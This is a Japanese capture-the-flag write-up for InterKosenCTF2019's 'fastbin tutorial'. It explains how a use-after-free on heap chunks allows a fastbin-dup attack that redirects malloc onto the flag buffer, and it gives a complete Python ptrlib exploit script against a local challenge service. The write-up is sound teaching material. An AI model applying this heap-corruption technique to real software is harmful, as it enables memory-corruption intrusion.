# (Pwn) fastbin tutorial ###### tags: `InterKosenCTF2019` `pwn` ## 問題概要 接続先の情報のみが与えられる。 接続してみるとこんな感じ ![](https://i.imgur.com/gaFgNRp.png) `flag.txt`を読み込んだ変数flagがどこかにある。そして`malloc`, `free`, `read`, `write`の操作が可能なA, B, Cの3つの変数がある。親切なことにfastbinsの図示までしてくれている。この機能すごいと思う。 ## 脆弱性 `malloc`していない領域、あるいは`free`された後の領域に対しても`read`や`write`が可能。一方で一度freeした領域を重ねてfreeするdouble freeは検出される。 ![](https://i.imgur.com/4OGOyCQ.png) ## exploit(方針) fasbinsの図を与えてくれているうえ、特定の領域をreadできれば勝ちなので**fastbins dup into stack**をするのが良いと思う。攻撃の名前があっているかはちょっとわからない。 // TODO?: (fastbinsについて書くかどうかわからない) 今回のケースはunlink attackをめちゃめちゃやりやすいように誘導してくれているので、以下の手順で簡単にできる。 1. malloc(A) 1. malloc(B) 1. free(A) 1. free(B) 1. write(B, flag_address - 0x10) 1. malloc(A) 1. malloc(B) 1. read(B) ### 初期状態 これでどうなるか、図示してみる。まず、初期状態ではfastbinsには何も入っていないのでこうなっている。 ![](https://i.imgur.com/CaKzrUQ.png) ### 1. malloc(A) 手順1でmalloc(A)すると、heap上のどこかに0x50バイトが確保される。実際に確保されるのはα + 0x50 + paddingなんだけどユーザからは0x50バイトだけがみえている。このあたりは https://qiita.com/kaityo256/items/2e9a368a5b627daa2ff6 を読むのとかmalloc動画を見るのが良くて、図を借りるとこういう仕組みになっている。 ![](https://i.imgur.com/uf2RUjv.png) まあ雑に書いてこう。ユーザに返されるAの頭になにか変数が2つある。 ![](https://i.imgur.com/XdSP3k0.png) ### 2. malloc(B) 同様にmalloc(B)でも0x50バイトの領域が確保される。これはおそらくAの次のアドレスに確保されるんだけどそれは今回はどうでも良い。 ![](https://i.imgur.com/uUvejCJ.png) ### 3. free(A) ここからいよいよという感じ。Aをfreeする。Aはある程度小さな領域なのでfastbinsにキャッシュされる。freeされた領域は `malloc_chunk` という構造体として扱われて、その構造体は大体こういう形をしている。 ![](https://i.imgur.com/GSZUsBk.png) ### 4. free(B) 同様にB ![](https://i.imgur.com/Xakaff1.png) ### 5. write(B, flag_address) ここでfreeしたはずのBにwriteできる。このときプログラムが持っているBのアドレスは、図のfdの位置になる。ここに flag_addrを書き込むとどうなるか。こうなる。 注意すべき点として、与えられているflagのアドレスから0x10を引いたアドレスがchunkとしてのアドレス、fdが指すべき場所になる ![](https://i.imgur.com/Z9lCEJe.png) ### 6. malloc(A) mallocで確保したい大きさに適したfastbinsがキャッシュされていた場合、そちらが使われる ![](https://i.imgur.com/Jkt97Mk.png) ### 6. malloc(B) 次のfastbinsYにはflagの領域が書かれており、たまたまこれも0x50バイトの領域なのでsize checkをすり抜けてすでにflagように確保されている領域が変数Bにも割当てられる。このときfastbinsYがどこを指すようになるのかよくわからない。たぶんflagに格納されている文字列の先頭数バイトをアドレスとして解釈してそこに向かうと思うけど、次のmallocまでは特にエラーにはならない。 ![](https://i.imgur.com/coR5jRJ.png) ### 7. read(B) Bとflagのアドレスが同じになったので、めでたくフラグが手に入る ## exploit(コード) 肩肘張らずにコードに落とし込むだけでいい。 ```python= from ptrlib import * def malloc(sock, buf): sock.recvuntil("> ") sock.sendline("1") sock.recvuntil("Which one? (A / B / C): ") sock.sendline(buf) print(sock.recvline().decode().strip()) def free(sock, buf): sock.recvuntil("> ") sock.sendline("2") sock.recvuntil("Which one? (A / B / C): ") sock.sendline(buf) print(sock.recvline().decode().strip()) def write(sock, buf, data): sock.recvuntil("> ") sock.sendline("4") sock.recvuntil("Which one? (A / B / C): ") sock.sendline(buf) sock.recvuntil("> ") sock.sendline(data) print(sock.recvline().decode().strip()) def read(sock, buf): sock.recvuntil("> ") sock.sendline("3") sock.recvuntil("Which one? (A / B / C): ") sock.sendline(buf) while True: line = sock.recvline().decode().strip() if not line.startswith("[+]"): break print(line) sock = Socket("localhost", 9001) _ = sock.recvuntil("flag which is located at ") flag_addr = int(sock.recvline().decode().strip()[:-1], 16) print("flag is at: 0x{:x}".format(flag_addr)) malloc(sock, "A") malloc(sock, "B") free(sock, "A") free(sock, "B") write(sock, "B", p64(flag_addr - 0x10)) malloc(sock, "A") malloc(sock, "B") read(sock, "B") ``` ![](https://i.imgur.com/6jiUVQj.png) やったぜ!